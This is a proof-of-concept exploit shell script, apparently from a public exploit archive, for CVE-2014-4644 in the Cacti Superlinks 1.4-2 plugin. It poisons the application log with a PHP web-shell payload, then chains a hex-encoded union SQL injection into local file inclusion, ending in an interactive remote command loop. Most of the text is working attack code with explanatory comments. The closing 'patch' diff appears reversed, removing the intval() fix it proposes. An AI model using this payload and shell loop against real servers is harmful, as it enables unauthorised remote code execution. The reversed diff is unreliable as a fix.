Cacti Superlinks 1.4-2 Code Execution / LFI / SQL Injection

`#!/bin/sh  
##############  
# Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection  
# Date: 19/12/2014  
# Exploit Author: Wireghoul  
# Software Link: http://docs.cacti.net/plugin:superlinks  
# Identifiers: CVE-2014-4644, EDB-ID-33809  
# Exploit explanation through inline comments  
# Patch provided at the end  
#  
# This is the year where hope fails you -- Slipknot: Pulse of the maggots  
#  
##############  
  
echo -e "\e[32m *-*, \e[31m ___________"  
echo -e "\e[32m ,*\/|\`| ; \e[31m /.'_______\`.\\"  
echo -e "\e[32m \\' | |'; *, \e[31m /( (_______\`-'\\"  
echo -e "\e[32m \ \`| | ;/ ) \e[31m \`.\`.______ \.'"  
echo -e "\e[32m : |'| , / \e[31m \`..-.___>.'"  
echo -e "\e[32m :'| |, / \e[31m \`.__ .'\e[0m"  
echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___"  
echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"  
echo  
if [ -z $1 ]; then  
echo -e "Usage $0 <superpluginurl>\n $0 http://example.com/cacti/plugins/superlinks/superlinks.php\n";  
exit 2;  
fi  
  
# This exploit is a second order LFI through SQLI, so first we must write some data to disk  
# Luckily the application logs all sort of stuff, so lets poison the application log  
# The reason for this is manyfold, read on.  
curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null  
  
# Now lets analyse the vulnerability:  
# superlinks.php:21:if (isset($_GET['id'])) {  
# superlinks.php:22: $pageid=$_GET['id'];  
# superlinks.php:23:}  
# superlinks.php:24:  
# superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT  
# superlinks.php:26: id,  
# superlinks.php:27: title,  
# superlinks.php:28: style,  
# superlinks.php:29: contentfile  
# superlinks.php:30: FROM (superlinks_pages, superlinks_auth)  
# superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid  
# superlinks.php:32: AND id=" . $pageid . "  
# This is where the injection occurs, we can now union select 1,2,3,4 -- ftw  
# However the real fun occurs a few lines later  
# superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile'];  
# superlinks.php:58:  
# superlinks.php:59: if (file_exists($my_file)) {  
# superlinks.php:60: @include_once($my_file);  
# We can now include a file of our choosing (LFI) based on the data returned from the SQLi  
# There are only a few problems:  
# * We cannot use strings/quotes as magic quotes are usually on  
# * We do not know the local path for the LFI  
# * Usual tricks like /proc/self* have been patched  
# * Database server and web server may be different hosts  
# Lets solve the easy one first, we dont need to quote our strings, hex encoding works great  
# The second one is a little trickier, we can brute force LFI locations... or  
# We can dynamically locate a file path which is stored in the database and present on the webserver  
# $ mysqldump cacti | grep '\.log'  
# INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password','');  
# $ ls -la /var/log/cacti/cacti.log  
# -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log  
# $ tail /var/log/cacti/cati.log  
# <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name"  
# WINRAR!  
  
# We can now include the poisoned log file by fetching the log path from the database  
# and prepending it with the normal directory traversal pattern ../../../ using concat()  
# We traverse 8 deep, that's usually enough  
echo -ne "Dropping into shell, type exit to quit.\ncactishell> "  
while read line; do  
if [ "$line" == "exit" ]; then  
exit  
fi  
comand=`echo -n $line | sed -e's/ /+/g'`  
curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \  
sed -n '/SHELL/, $p' | \  
sed -e 's/.*SHELL//' |\  
sed '/LLEHS/, $d'  
echo -n "cactishell> "  
done  
  
# Proposed patch  
# Vendor has a patch in a SVN repo somewhere:  
# http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475  
# Yet has not made the patch available, or responded to requests to do so:  
# http://forums.cacti.net/viewtopic.php?t=53711  
#--- superlinks.php 2014-12-18 02:05:37.706013833 -0500  
#+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500  
#@@ -19,7 +19,7 @@  
#  
# $pageid = 0;  
# if (isset($_GET['id'])) {  
#- $pageid=intval($_GET['id']);  
#+ $pageid=$_GET['id'];  
# }  
#  
# $page = db_fetch_row("SELECT DISTINCT  
  
`